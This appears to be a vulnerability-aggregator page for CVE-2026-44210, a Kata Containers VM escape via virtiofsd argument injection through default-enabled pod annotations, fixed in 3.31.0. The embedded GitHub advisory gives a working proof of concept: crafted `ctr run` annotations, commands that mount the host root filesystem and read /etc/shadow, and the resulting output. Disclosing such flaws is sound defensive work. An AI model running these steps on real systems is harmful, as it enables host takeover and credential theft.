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Kata Containers have VM Escape via virtiofsd Argument Injection through Default-Enabled Pod Annotations

CVSS 4.0 5.8 MEDIUMEUVD CVSS 4.0 5.8 CVSS 4.0 · [email protected] · Secondary 5.8 MEDIUMCVSS 3.1 · [email protected] · Primary 9.9 CRITICALCVSS_V4 Publisher rating MODERATEFixed by github.com/kata-containers/kata-containers 0.0.0-20260519062212-ffa59ce3aa78osv · severity unknownFixed by github.com/kata-containers/kata-containers 0.0.0-20260519062212-ffa59ce3aa78KEV status unknown

cve-program · CVE-2026-44210

Published

Kata Containers is an open source project focusing on a standard implementation of lightweight Virtual Machines (VMs) that perform like containers. Versions prior to 3.31.0 ship with a default configuration that allows pod creators to inject arbitrary command-line arguments into the virtiofsd process through the `io.katacontainers.config.hypervisor.virtio_fs_extra_args` pod annotation. By injecting `-o source=/` along with `--no-announce-submounts` and `--sandbox=none`, an attacker can override the virtiofsd shared directory to serve the entire host root filesystem into the guest VM. Combined with the `kernel_params` annotation (also enabled by default) to activate the agent debug console, the attacker can mount the host filesystem from inside the VM and read or write any file on the host, including /etc/shadow. Version 3.31.0 patches the issue.

Read the publisher's advisory

euvd · EUVD-2026-48339

Published

Kata Containers is an open source project focusing on a standard implementation of lightweight Virtual Machines (VMs) that perform like containers. Versions prior to 3.31.0 ship with a default configuration that allows pod creators to inject arbitrary command-line arguments into the virtiofsd process through the `io.katacontainers.config.hypervisor.virtio_fs_extra_args` pod annotation. By injecting `-o source=/` along with `--no-announce-submounts` and `--sandbox=none`, an attacker can override the virtiofsd shared directory to serve the entire host root filesystem into the guest VM. Combined with the `kernel_params` annotation (also enabled by default) to activate the agent debug console, the attacker can mount the host filesystem from inside the VM and read or write any file on the host, including /etc/shadow. Version 3.31.0 patches the issue.

Read the publisher's advisory

nvd · CVE-2026-44210

Published

Kata Containers is an open source project focusing on a standard implementation of lightweight Virtual Machines (VMs) that perform like containers. Versions prior to 3.31.0 ship with a default configuration that allows pod creators to inject arbitrary command-line arguments into the virtiofsd process through the `io.katacontainers.config.hypervisor.virtio_fs_extra_args` pod annotation. By injecting `-o source=/` along with `--no-announce-submounts` and `--sandbox=none`, an attacker can override the virtiofsd shared directory to serve the entire host root filesystem into the guest VM. Combined with the `kernel_params` annotation (also enabled by default) to activate the agent debug console, the attacker can mount the host filesystem from inside the VM and read or write any file on the host, including /etc/shadow. Version 3.31.0 patches the issue.

Read the publisher's advisory

osv · GHSA-rr59-xxvx-96qr

Published

## Summary Kata Containers ships with a default configuration that allows pod creators to inject arbitrary command-line arguments into the virtiofsd process through the `io.katacontainers.config.hypervisor.virtio_fs_extra_args` pod annotation. By injecting `-o source=/` along with `--no-announce-submounts` and `--sandbox=none`, an attacker can override the virtiofsd shared directory to serve the entire host root filesystem into the guest VM. Combined with the `kernel_params` annotation (also enabled by default) to activate the agent debug console, the attacker can mount the host filesystem from inside the VM and read or write any file on the host, including /etc/shadow. ## Details The default Kata configuration at configuration.toml line 1 contains: ``` enable_annotations = ["enable_iommu", "virtio_fs_extra_args", "kernel_params", "kernel_verity_params"] ``` Both `virtio_fs_extra_args` and `kernel_params` are enabled out of the box. The annotation name is checked against this allowlist, but the annotation value (the actual arguments) is never validated or filtered. In utils.go at line 981, the runtime parses the annotation value as a JSON string array and appends it directly to the virtiofsd arguments: ```go if value, ok := ocispec.Annotations[vcAnnotations.VirtioFSExtraArgs]; ok { var parsedValue []string err := json.Unmarshal([]byte(value), &parsedValue) // ... sbConfig.HypervisorConfig.VirtioFSExtraArgs = append( sbConfig.HypervisorConfig.VirtioFSExtraArgs, parsedValue...) } ``` In virtiofsd.go at line 183-198, the runtime builds the virtiofsd command line with `--shared-dir=<kata_managed_path>` first, then appends the extra args: ```go args := []string{ "--syslog", "--cache=" + v.cache, "--shared-dir=" + v.sourcePath, fmt.Sprintf("--fd=%v", FdSocketNumber), } if len(v.extraArgs) != 0 { args = append(args, v.extraArgs...) } ``` The virtiofsd binary (Rust, from gitlab.com/virtio-fs/virtiofsd) supports a compatibility option `-o source=PATH` that overrides the `--shared-dir` value. This is processed after clap argument parsing, in the `parse_compat()` function at main.rs:462: ```rust ["source", value] => opt.shared_dir = Some(value.to_string()), ``` Because `-o source=/` is appended after `--shared-dir=<kata_path>`, it overrides the shared directory to `/`. The virtiofsd process then serves the entire host root filesystem through the virtio-fs device. Additionally, virtiofsd's `--announce-submounts` flag (set by default) causes the guest kernel to create FUSE automounts for bind mounts within the shared directory. When the shared directory is `/`, this produces automounts that shadow the root directory listing. Injecting `--no-announce-submounts` disables this behavior and exposes the true host root directory contents through the kataShared virtiofs mount. The `kernel_params` annotation is used to inject `agent.debug_console agent.debug_console_vport=1026` into the VM kernel command line. This enables a root shell inside the VM through the kata-runtime exec command. From this shell, the attacker mounts the kataShared virtiofs filesystem and accesses host files directly. ## Rootfs bridge (PoC artifact, not a real constraint) When virtiofsd uses `-o source=/` to serve the host root, the Kata agent looks for the container rootfs at `/<container-id>/rootfs` relative to the virtiofs root. The PoC pre-creates this directory on the host to keep the demonstration self-contained with ctr. In a real Kubernetes attack, there are several ways to satisfy this without hostPath volumes. An initContainer that runs before the target container can create the directory. Alternatively, the attacker can set up a second pod that writes to a shared persistent volume mounted on the host. The rootfs bridge is a PoC convenience, not a limitation of the vulnerability itself. ## Impact An attacker who can create pods on a Kubernetes cluster using Kata Containers with default configuration can: - Read any file on the host, including /etc/shadow, SSH private keys, and service credentials - Write to any file on the host, enabling persistent backdoors, cron jobs, or binary replacement - Access other containers' data through the host filesystem - Compromise the Kubernetes control plane if it runs on the same host ## Steps to reproduce Tested on a bare metal server (AMD Ryzen 5 3600, Ubuntu 24.04, kernel 6.8.0-100-generic) with Kata Containers 3.28.0 installed from the official release tarball. 1. Install Kata Containers 3.28.0 and configure containerd. Verify that the default configuration has virtio_fs_extra_args in enable_annotations. 2. Pull a container image: ``` ctr image pull docker.io/library/alpine:latest ``` 3. Run the PoC script below, or follow the manual steps: Manual steps: a. Extract a container rootfs and create the rootfs bridge (replace $SB_ID with your container name): ``` SB_ID="poc-exploit" mkdir -p /$SB_ID/rootfs # Extract alpine rootfs from OCI image mkdir -p /tmp/oci-extract ctr image export /tmp/oci.tar docker.io/library/alpine:latest tar xf /tmp/oci.tar -C /tmp/oci-extract IDX=$(jq -r '.manifests[0].digest' /tmp/oci-extract/index.json | sed 's/sha256://') MFT=$(jq -r '.manifests[] | select(.platform.architecture=="amd64") | .digest' \ "/tmp/oci-extract/blobs/sha256/$IDX" | head -1 | sed 's/sha256://') LYR=$(jq -r '.layers[0].digest' "/tmp/oci-extract/blobs/sha256/$MFT" | sed 's/sha256://') tar xzf "/tmp/oci-extract/blobs/sha256/$LYR" -C /$SB_ID/rootfs rm -rf /tmp/oci-extract /tmp/oci.tar ``` b. Create a marker file on the host to prove access: ``` echo "HOST_ESCAPE_PROOF_$(date)" > /root/.poc-marker ``` c. Start the container with the malicious annotations: ``` ctr run \ --runtime io.containerd.kata.v2 \ --annotation 'io.katacontainers.config.hypervisor.virtio_fs_extra_args=["--sandbox=none","--seccomp=none","-o","source=/","--no-announce-submounts"]' \ --annotation 'io.katacontainers.config.hypervisor.kernel_params=agent.debug_console agent.debug_console_vport=1026' \ docker.io/library/alpine:latest $SB_ID \ sleep 3600 & ``` Wait 20-30 seconds for the VM to start. Verify with `ctr task ls`. d. Enter the VM through the debug console: ``` /opt/kata/bin/kata-runtime exec $SB_ID ``` e. Inside the VM, mount the host filesystem and read host files: ``` mkdir -p /tmp/hostfs mount -t virtiofs kataShared /tmp/hostfs cat /tmp/hostfs/etc/hostname cat /tmp/hostfs/root/.poc-marker head -3 /tmp/hostfs/etc/shadow cat /tmp/hostfs/etc/os-release ls /tmp/hostfs/opt/kata/bin/ ``` f. Observe that /etc/hostname returns the host's hostname (not "localhost"), /etc/os-release shows the host OS (Ubuntu, not Alpine), /etc/shadow shows the host's password hashes, and /opt/kata/bin/ lists the Kata binaries installed on the host. 4. Clean up: ``` ctr task kill $SB_ID --signal SIGKILL ctr container rm $SB_ID umount /$SB_ID/rootfs rm -rf /$SB_ID ``` ## Proof of concept output Below is the output from a successful run on Kata Containers 3.28.0. The host runs Ubuntu 24.04. The container image is Alpine Linux. ``` root@7a7325d5d804:/# mkdir -p /tmp/h && mount -t virtiofs kataShared /tmp/h root@7a7325d5d804:/# echo DIRCOUNT:$(ls /tmp/h/ | wc -l) DIRCOUNT:37 root@7a7325d5d804:/# echo HOSTNAME:$(cat /tmp/h/etc/hostname) HOSTNAME:kata-poc root@7a7325d5d804:/# echo OSREL:$(head -1 /tmp/h/etc/os-release) OSREL:PRETTY_NAME="Ubuntu 24.04.3 LTS" root@7a7325d5d804:/# cat /tmp/h/root/.kata-poc-marker HOST_NS2_1776058192 root@7a7325d5d804:/# echo SHADOW:$(head -1 /tmp/h/etc/shadow) SHADOW:root:*:17478:0:99999:7::: root@7a7325d5d804:/# echo BOOT:$(ls /tmp/h/boot 2>/dev/null | head -3) BOOT:System.map-6.8.0-100-generic System.map-6.8.0-107-generic config-6.8.0-100-generic root@7a7325d5d804:/# echo KATA:$(ls /tmp/h/opt/kata/bin 2>/dev/null | head -3) KATA:cloud-hypervisor containerd-shim-kata-v2 firecracker ``` The host's real hostname (kata-poc), OS (Ubuntu 24.04.3 LTS), /etc/shadow content, kernel files in /boot, and Kata binaries in /opt/kata/bin are all visible from inside the VM. The container itself runs Alpine, confirming this is the host filesystem and not the container's own filesystem.

Read the publisher's advisory

osv · GO-2026-5638

Published

Kata Containers have VM Escape via virtiofsd Argument Injection through Default-Enabled Pod Annotations in github.com/kata-containers/kata-containers

Read the publisher's advisory

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cve-program · CVE-2026-44210

Published

Kata Containers have VM Escape via virtiofsd Argument Injection through Default-Enabled Pod Annotations

Kata Containers is an open source project focusing on a standard implementation of lightweight Virtual Machines (VMs) that perform like containers. Versions prior to 3.31.0 ship with a default configuration that allows pod creators to inject arbitrary command-line arguments into the virtiofsd process through the `io.katacontainers.config.hypervisor.virtio_fs_extra_args` pod annotation. By injecting `-o source=/` along with `--no-announce-submounts` and `--sandbox=none`, an attacker can override the virtiofsd shared directory to serve the entire host root filesystem into the guest VM. Combined with the `kernel_params` annotation (also enabled by default) to activate the agent debug console, the attacker can mount the host filesystem from inside the VM and read or write any file on the host, including /etc/shadow. Version 3.31.0 patches the issue.

Source published
23 Jul 2026 17:32:23 UTC
Source modified
24 Jul 2026 22:03:05 UTC
Saved here
23 Oct 2026 15:48:27 UTC
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CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

Source: cve-program · CVE Program Terms of Use. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS 4.0 · 5.8 CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H/E:P

euvd · EUVD-2026-48339

Published

Kata Containers is an open source project focusing on a standard implementation of lightweight Virtual Machines (VMs) that perform like containers. Versions prior to 3.31.0 ship with a default configuration that allows pod creators to injec…

Kata Containers is an open source project focusing on a standard implementation of lightweight Virtual Machines (VMs) that perform like containers. Versions prior to 3.31.0 ship with a default configuration that allows pod creators to inject arbitrary command-line arguments into the virtiofsd process through the `io.katacontainers.config.hypervisor.virtio_fs_extra_args` pod annotation. By injecting `-o source=/` along with `--no-announce-submounts` and `--sandbox=none`, an attacker can override the virtiofsd shared directory to serve the entire host root filesystem into the guest VM. Combined with the `kernel_params` annotation (also enabled by default) to activate the agent debug console, the attacker can mount the host filesystem from inside the VM and read or write any file on the host, including /etc/shadow. Version 3.31.0 patches the issue.

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EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.

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datePublished: Jul 23, 2026, 5:32:23 PM

dateUpdated: Jul 24, 2026, 10:03:05 PM

1 related source bulletins · separate from aliases

msrc_CVE-2026-44210: Kata Containers have VM Escape via virtiofsd Argument Injection through Default-Enabled Pod Annotations

CVE-2026-44210

Source published
Jul 23, 2026, 5:32:23 PM (timezone not stated)
Source modified
Jul 24, 2026, 10:03:05 PM (timezone not stated)
Saved here
21 Nov 2026 16:17:12 UTC
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ENISA EUVD · source terms and attribution apply

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Source: euvd · ENISA EUVD · source terms and attribution apply. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

EUVD CVSS 4.0 · 5.8 CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H/E:P

nvd · CVE-2026-44210

Published

Kata Containers is an open source project focusing on a standard implementation of lightweight Virtual Machines (VMs) that perform like containers. Versions prior to 3.31.0 ship with a default configuration that allows pod creators to injec…

Kata Containers is an open source project focusing on a standard implementation of lightweight Virtual Machines (VMs) that perform like containers. Versions prior to 3.31.0 ship with a default configuration that allows pod creators to inject arbitrary command-line arguments into the virtiofsd process through the `io.katacontainers.config.hypervisor.virtio_fs_extra_args` pod annotation. By injecting `-o source=/` along with `--no-announce-submounts` and `--sandbox=none`, an attacker can override the virtiofsd shared directory to serve the entire host root filesystem into the guest VM. Combined with the `kernel_params` annotation (also enabled by default) to activate the agent debug console, the attacker can mount the host filesystem from inside the VM and read or write any file on the host, including /etc/shadow. Version 3.31.0 patches the issue.

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NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.

Source analysis status: Analyzed

Weakness classifications: CWE-88

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published: 2026-07-23T18:16:51.053

lastModified: 2026-08-06T00:57:54.957

1 source CPE criteria · context only
  • cpe:2.3:a:katacontainers:kata_containers:*:*:*:*:*:*:*:*

The original JSON retains the logical configuration operators, exclusions and version bounds.

Source published
23 Jul 2026 18:16:51 UTC
Source modified
6 Aug 2026 00:57:54 UTC
Saved here
25 Oct 2026 10:17:21 UTC
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NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

Source: nvd · NIST NVD usage terms; underlying source attribution retained. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS 4.0 · [email protected] · Secondary · 5.8 CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

CVSS 3.1 · [email protected] · Primary · 9.9 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

osv · GHSA-rr59-xxvx-96qr

Published

Kata Containers have VM Escape via virtiofsd Argument Injection through Default-Enabled Pod Annotations

## Summary Kata Containers ships with a default configuration that allows pod creators to inject arbitrary command-line arguments into the virtiofsd process through the `io.katacontainers.config.hypervisor.virtio_fs_extra_args` pod annotation. By injecting `-o source=/` along with `--no-announce-submounts` and `--sandbox=none`, an attacker can override the virtiofsd shared directory to serve the entire host root filesystem into the guest VM. Combined with the `kernel_params` annotation (also enabled by default) to activate the agent debug console, the attacker can mount the host filesystem from inside the VM and read or write any file on the host, including /etc/shadow. ## Details The default Kata configuration at configuration.toml line 1 contains: ``` enable_annotations = ["enable_iommu", "virtio_fs_extra_args", "kernel_params", "kernel_verity_params"] ``` Both `virtio_fs_extra_args` and `kernel_params` are enabled out of the box. The annotation name is checked against this allowlist, but the annotation value (the actual arguments) is never validated or filtered. In utils.go at line 981, the runtime parses the annotation value as a JSON string array and appends it directly to the virtiofsd arguments: ```go if value, ok := ocispec.Annotations[vcAnnotations.VirtioFSExtraArgs]; ok { var parsedValue []string err := json.Unmarshal([]byte(value), &parsedValue) // ... sbConfig.HypervisorConfig.VirtioFSExtraArgs = append( sbConfig.HypervisorConfig.VirtioFSExtraArgs, parsedValue...) } ``` In virtiofsd.go at line 183-198, the runtime builds the virtiofsd command line with `--shared-dir=<kata_managed_path>` first, then appends the extra args: ```go args := []string{ "--syslog", "--cache=" + v.cache, "--shared-dir=" + v.sourcePath, fmt.Sprintf("--fd=%v", FdSocketNumber), } if len(v.extraArgs) != 0 { args = append(args, v.extraArgs...) } ``` The virtiofsd binary (Rust, from gitlab.com/virtio-fs/virtiofsd) supports a compatibility option `-o source=PATH` that overrides the `--shared-dir` value. This is processed after clap argument parsing, in the `parse_compat()` function at main.rs:462: ```rust ["source", value] => opt.shared_dir = Some(value.to_string()), ``` Because `-o source=/` is appended after `--shared-dir=<kata_path>`, it overrides the shared directory to `/`. The virtiofsd process then serves the entire host root filesystem through the virtio-fs device. Additionally, virtiofsd's `--announce-submounts` flag (set by default) causes the guest kernel to create FUSE automounts for bind mounts within the shared directory. When the shared directory is `/`, this produces automounts that shadow the root directory listing. Injecting `--no-announce-submounts` disables this behavior and exposes the true host root directory contents through the kataShared virtiofs mount. The `kernel_params` annotation is used to inject `agent.debug_console agent.debug_console_vport=1026` into the VM kernel command line. This enables a root shell inside the VM through the kata-runtime exec command. From this shell, the attacker mounts the kataShared virtiofs filesystem and accesses host files directly. ## Rootfs bridge (PoC artifact, not a real constraint) When virtiofsd uses `-o source=/` to serve the host root, the Kata agent looks for the container rootfs at `/<container-id>/rootfs` relative to the virtiofs root. The PoC pre-creates this directory on the host to keep the demonstration self-contained with ctr. In a real Kubernetes attack, there are several ways to satisfy this without hostPath volumes. An initContainer that runs before the target container can create the directory. Alternatively, the attacker can set up a second pod that writes to a shared persistent volume mounted on the host. The rootfs bridge is a PoC convenience, not a limitation of the vulnerability itself. ## Impact An attacker who can create pods on a Kubernetes cluster using Kata Containers with default configuration can: - Read any file on the host, including /etc/shadow, SSH private keys, and service credentials - Write to any file on the host, enabling persistent backdoors, cron jobs, or binary replacement - Access other containers' data through the host filesystem - Compromise the Kubernetes control plane if it runs on the same host ## Steps to reproduce Tested on a bare metal server (AMD Ryzen 5 3600, Ubuntu 24.04, kernel 6.8.0-100-generic) with Kata Containers 3.28.0 installed from the official release tarball. 1. Install Kata Containers 3.28.0 and configure containerd. Verify that the default configuration has virtio_fs_extra_args in enable_annotations. 2. Pull a container image: ``` ctr image pull docker.io/library/alpine:latest ``` 3. Run the PoC script below, or follow the manual steps: Manual steps: a. Extract a container rootfs and create the rootfs bridge (replace $SB_ID with your container name): ``` SB_ID="poc-exploit" mkdir -p /$SB_ID/rootfs # Extract alpine rootfs from OCI image mkdir -p /tmp/oci-extract ctr image export /tmp/oci.tar docker.io/library/alpine:latest tar xf /tmp/oci.tar -C /tmp/oci-extract IDX=$(jq -r '.manifests[0].digest' /tmp/oci-extract/index.json | sed 's/sha256://') MFT=$(jq -r '.manifests[] | select(.platform.architecture=="amd64") | .digest' \ "/tmp/oci-extract/blobs/sha256/$IDX" | head -1 | sed 's/sha256://') LYR=$(jq -r '.layers[0].digest' "/tmp/oci-extract/blobs/sha256/$MFT" | sed 's/sha256://') tar xzf "/tmp/oci-extract/blobs/sha256/$LYR" -C /$SB_ID/rootfs rm -rf /tmp/oci-extract /tmp/oci.tar ``` b. Create a marker file on the host to prove access: ``` echo "HOST_ESCAPE_PROOF_$(date)" > /root/.poc-marker ``` c. Start the container with the malicious annotations: ``` ctr run \ --runtime io.containerd.kata.v2 \ --annotation 'io.katacontainers.config.hypervisor.virtio_fs_extra_args=["--sandbox=none","--seccomp=none","-o","source=/","--no-announce-submounts"]' \ --annotation 'io.katacontainers.config.hypervisor.kernel_params=agent.debug_console agent.debug_console_vport=1026' \ docker.io/library/alpine:latest $SB_ID \ sleep 3600 & ``` Wait 20-30 seconds for the VM to start. Verify with `ctr task ls`. d. Enter the VM through the debug console: ``` /opt/kata/bin/kata-runtime exec $SB_ID ``` e. Inside the VM, mount the host filesystem and read host files: ``` mkdir -p /tmp/hostfs mount -t virtiofs kataShared /tmp/hostfs cat /tmp/hostfs/etc/hostname cat /tmp/hostfs/root/.poc-marker head -3 /tmp/hostfs/etc/shadow cat /tmp/hostfs/etc/os-release ls /tmp/hostfs/opt/kata/bin/ ``` f. Observe that /etc/hostname returns the host's hostname (not "localhost"), /etc/os-release shows the host OS (Ubuntu, not Alpine), /etc/shadow shows the host's password hashes, and /opt/kata/bin/ lists the Kata binaries installed on the host. 4. Clean up: ``` ctr task kill $SB_ID --signal SIGKILL ctr container rm $SB_ID umount /$SB_ID/rootfs rm -rf /$SB_ID ``` ## Proof of concept output Below is the output from a successful run on Kata Containers 3.28.0. The host runs Ubuntu 24.04. The container image is Alpine Linux. ``` root@7a7325d5d804:/# mkdir -p /tmp/h && mount -t virtiofs kataShared /tmp/h root@7a7325d5d804:/# echo DIRCOUNT:$(ls /tmp/h/ | wc -l) DIRCOUNT:37 root@7a7325d5d804:/# echo HOSTNAME:$(cat /tmp/h/etc/hostname) HOSTNAME:kata-poc root@7a7325d5d804:/# echo OSREL:$(head -1 /tmp/h/etc/os-release) OSREL:PRETTY_NAME="Ubuntu 24.04.3 LTS" root@7a7325d5d804:/# cat /tmp/h/root/.kata-poc-marker HOST_NS2_1776058192 root@7a7325d5d804:/# echo SHADOW:$(head -1 /tmp/h/etc/shadow) SHADOW:root:*:17478:0:99999:7::: root@7a7325d5d804:/# echo BOOT:$(ls /tmp/h/boot 2>/dev/null | head -3) BOOT:System.map-6.8.0-100-generic System.map-6.8.0-107-generic config-6.8.0-100-generic root@7a7325d5d804:/# echo KATA:$(ls /tmp/h/opt/kata/bin 2>/dev/null | head -3) KATA:cloud-hypervisor containerd-shim-kata-v2 firecracker ``` The host's real hostname (kata-poc), OS (Ubuntu 24.04.3 LTS), /etc/shadow content, kernel files in /boot, and Kata binaries in /opt/kata/bin are all visible from inside the VM. The container itself runs Alpine, confirming this is the host filesystem and not the container's own filesystem.

Source published
26 May 2026 23:57:58 UTC
Source modified
28 Jul 2026 02:00:32 UTC
Saved here
24 Oct 2026 13:19:41 UTC
Source terms
GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

Source: osv · GitHub Advisory Database · CC-BY-4.0. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS_V4 · CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H/E:P

Publisher rating · MODERATE

osv · GO-2026-5638

Published

Kata Containers have VM Escape via virtiofsd Argument Injection through Default-Enabled Pod Annotations in github.com/kata-containers/kata-containers

Kata Containers have VM Escape via virtiofsd Argument Injection through Default-Enabled Pod Annotations in github.com/kata-containers/kata-containers

Source published
25 Jun 2026 22:34:38 UTC
Source modified
25 Jun 2026 23:01:36 UTC
Saved here
24 Oct 2026 13:19:41 UTC
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OSV · upstream source license applies

Original source record · Cite this exact observation · Complete original publisher JSON

Source: osv · OSV · upstream source license applies. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

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